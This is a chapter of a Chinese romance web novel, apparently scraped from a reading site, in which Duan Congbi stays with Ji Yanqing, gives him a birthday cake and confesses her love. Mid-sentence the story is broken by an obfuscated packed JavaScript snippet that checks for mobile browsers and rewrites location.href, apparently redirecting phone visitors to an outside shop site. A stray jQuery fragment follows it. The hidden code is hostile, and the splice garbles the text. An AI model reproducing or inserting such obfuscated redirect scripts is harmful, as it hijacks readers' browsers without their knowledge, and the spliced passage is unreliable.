好说歹说,季延青无奈带她去了自己的住处。
“你还不如一早就带我来这儿呢,费我花了那么多口舌说服你。”段丛璧换上鞋子,坐在沙发里:“这里明显比那边好,活人气息更足。”
季延青给她倒了一杯热水:“你现在和以前不一样了,是公众人物,一言一行都要注意,要避免和我同时出现在大众视线里,知不知道?”
段丛璧:“我知道,你放心我心里有数,而且这两天我也不打算出门,等周日晚上再回S市。”
“你……”她想了想,问:“是不是挺忙的?如果你忙,也不用管我。”
季延青哼笑一声:“你多想了,时间不早了,早点睡吧。”
次日天晴。
段丛璧醒来时已经快中午了,她下楼的时候看见季延青正在厨房里忙活。
他穿着柔软的灰色毛衣,系着围裙,平日里高高竖起的头发此时软软地贴在额头,看上去少了几分凌厉和攻击性,多了两分乖巧。
段丛璧站在楼梯上,撑着下巴看他,越看越喜欢。
“你要是再不下来,我可就一个人吃了。”他开始装盘了。
段丛璧慢慢悠悠走了下去,看着餐桌上的馄饨,挑眉:“你还会做饭?”
鸡汤馄饨很香,里面放了松茸葱花,看上去格外鲜美。
段丛璧坐了下来,看着眼前这碗馄饨,忽然就觉得饿了。
季延青递给她筷子,在她对面坐下:“厨艺一般,没有许窍厨艺好,将就吃。”
段丛璧吃了一口,眼睛霎时亮了:“这还不好吃?”
她把这碗馄饨吃完,汤都没剩一点,然后自告奋勇去洗碗了。
所谓洗碗,也就是把碗筷放入洗碗机。
段丛璧拿来帕子擦桌子:“季延青,你的厨艺很好啊,我觉得比许窍做的还要好吃。”
季延青拿着本书坐在阳台上喝咖啡:“谢谢。”
“你今天没有工作吗?”段丛璧端着她最爱的抹茶拿铁走向阳台,从书架随手抽了本书,在他对面坐下。
他喝了口咖啡,目光始终落在书上:“没有。”
段丛璧哼了一声,翻开书:“骗人。”
不知过了多久,太阳把人晒得暖烘烘、懒洋洋的,季延青早就把书合上了,他看着对面的少女,目光沉静温和。
在她即将看过来时,他低头打开手机,随意点开某个APP翻动。
“季延青,你……”段丛璧刚想说什么,就听见他手机响起来了。
季延青接听后,脸色有些不太好看。
她看了他两眼:“你去忙呗,也不用特意陪我。”
他站了起来,一如既往的嘴硬:“没有特意陪你,上午就是很清闲,这会儿事来了,我出去了。”
人前脚刚走,段丛璧立马收起书和咖啡,打开手机买了很多东西,开启了她忙碌的一天。
季延青大概真的很忙,被工作缠住了,晚上才会回来。
段丛璧忙了一个下午,总算是忙完了,看时间还在,她坐在阳台上和游芙安打电话。
“你真想好了?”打的视频电话,游芙安看上去比之前要瘦一些,但是精神面貌很好。
段丛璧:“想好了,我觉得不能再这么下去了。”
游芙安伸出大拇指:“敬你是一条汉子。”
“为什么汉子。”段丛璧撇撇嘴:“我才不要当汉子,我是女子,女子也可以被敬。”
游芙安大笑:“好好好,以后我就说敬你是一条女子。”
段丛璧耳朵动了动:“他回来了,不说了。”
关掉手机后,她拿本书装模装样地看了起来。
季延青回来后先去洗了一下,换了一身家居服,然后倒了杯果汁来阳台。
“还适应吗?”他喝了口果汁,眉眼看上去有些疲乏。
段丛璧合上书:“还可以。”
她打量着他:“你今天很累吗?”
季延青嗯了一声,他往后一靠:“你想吃什么?我一会去做。”
“我想吃冒菜。”段丛璧说:“菜我都买好了。”
季延青点点头:“行。”
休息了一会儿,天快黑了,他起身来走向厨房,打开冰箱一看,愣了愣。
段丛璧背着手走到他身边,脸上有点小得意:“我不会做冒菜,索性把食材准备好了,你直接煮就行了。”
季延青似笑非笑看了她一眼:“你倒是很贴心。”
他把菜端了出来,一看姜葱蒜居然都准备好了,他也没什么要做的,直接就起锅烧油了。
心满意足吃完饭,季延青洗了一些水果,拿本书坐在沙发上看,段丛璧也拿着书坐在他旁边。
差不多半个小时过去,季延青放下书,拿了个苹果削来吃:“你今天做了些什么?”
段丛璧:“没什么啊,好不容易清闲,就……看看书,玩手机或者是追剧睡觉什么的。”
季延青把削完皮的苹果递给她:“还真是岁月静好。”
她接过,笑着啃了一口:“托您的福。”
季延青重新拿了个苹果削了起来:“明天你就要回S市了,有什么事抓紧。”
段丛璧啃着苹果,一头雾水:“啊?我能有什么事?”
“你手里的这本书,刚刚半个小时过去没见你翻一页。”
季延青利索地削完苹果:“如果我没有记错的话,你早上看的就是这本书,段大小姐什么时候看书这么慢了?我记得你看书挺快的。”
段丛璧震惊了片刻后咽下苹果嘟囔:“你记性还怪好的。”
吃完苹果,段丛璧端出一个盒子,然后打开,里面是一个蛋糕,很漂亮,小巧精致。
“这是我做的。”她一脸得意。
季延青打量这蛋糕片刻,称赞道:“嗯,是不错。”
“明天是你的生日。”段丛璧看着他的神色,想了想:“我知道你不爱过生日,但是每年就这一回,我觉得……可以过一过,你说呢?”
季延青转头看她,她看起来很镇定,但是还是被他看出了几分忐忑。
他回头看着桌上的蛋糕,上面用奶油写着字:如松之盛,福履綏之。
“季延青?”段丛璧见他盯着蛋糕出神,心里更忐忑了,但她面上不显,反而调侃:“是不是你的前女友在你生日这天跟你分手,所以你不喜欢过生日?”
季延
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946306|188477||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青看了她一眼:“我有没有前女友,你难道不知道吗?”
“是可以过一过。”他问:“要插蜡烛许愿吗?”
段丛璧:“呀,你不说我都忘了。”
插上蜡烛点亮,关掉客厅的灯,季延青看着蛋糕上烛火摇曳,忽然就笑了:“要不你来许愿吧,我把这个许愿机会让给你,怎么样?”
段丛璧迟疑:“也……行。”
她对着蛋糕闭上眼,双手合十:“我的愿望是,希望季延青、季瑾,可以天天开心,身体健康,没有烦恼,万事如意,事事顺心。”
季延青又笑:“哪有许愿还说出来的?你这许的愿,还挺朴实无华的。”
段丛璧打开灯:“我觉得我这愿望挺好的。”
季延青正在切蛋糕递给她:“你就没有自己的愿望?跟我不相关的。”
段丛璧接过蛋糕:“这么说,还真有。”
“是什么?”季延青吃着蛋糕:“说来听听,说不定我可以帮你实现。”
段丛璧咬着叉子,为难道:“这……不好吧。”
季延青:“有什么不好?难道你的愿望是要天上的星星?”
她吃口蛋糕,慢吞吞转头,看着他:“也差不多了。”
季延青这下不说话了。
“季延青。”她放下蛋糕,很认真地看着他:“我喜欢你,很喜欢你,一天不见就想你,一周有七天,我有七天都在想你,我的愿望是,我希望季延青可以和我在一起。”
客厅很安静,季延青慢慢放下叉子。
“你知道我没有开玩笑。”段丛璧怕他又插科打诨把这事揭过去:“而且我知道,季延青,你也喜欢我,对不对?”
他还是不说话。
过了很久,季延青拿纸巾擦了擦嘴:“我觉得你可以再考虑一下。”
段丛璧:“我已经考虑很久了。”
“段丛璧。”他转头看她:“你有没……唔……”
他话还没说完,她就凑上前,堵住了他的嘴。
彼此气息可闻,季延青甚至能看见她脸上的小绒毛,还有她颤抖的睫毛。
他一时有些不忍,不忍将她推开,但察觉到她试图撬开自己牙关的时候,他终于忍无可忍地推开了她。
“你……胡闹!”他嘴唇被亲得殷红,上面还有水泽。
段丛璧瞪了他一眼,转过身继续吃自己的蛋糕:“我们俩现在可是唇友谊了。”
季延青抹抹嘴,气笑了:“你哪儿学来这些有的没的。”
“反正我不管。”段丛璧端起蛋糕,歪头看他:“你现在是我的人了,亲了就要负责的,知不知道?”
她又认真想了想,很正经地叮嘱他:“你现在,名草有主了,要守男德,嗯……男人不自爱,就像大白菜。”
刚刚的气氛一下就破灭了,季延青吃着蛋糕,神情有些郁闷。
段丛璧放下蛋糕,拍了拍他的手臂,在他看过来的时候闭上眼,把脸伸了过去:“如果你不服气的话,可以掐我一下,或者是给我个脑瓜崩。”
过了很久都没有动静,她刚想睁开眼,鼻尖突然冰冰凉、湿漉漉的。
“我服气。”季延青收回手。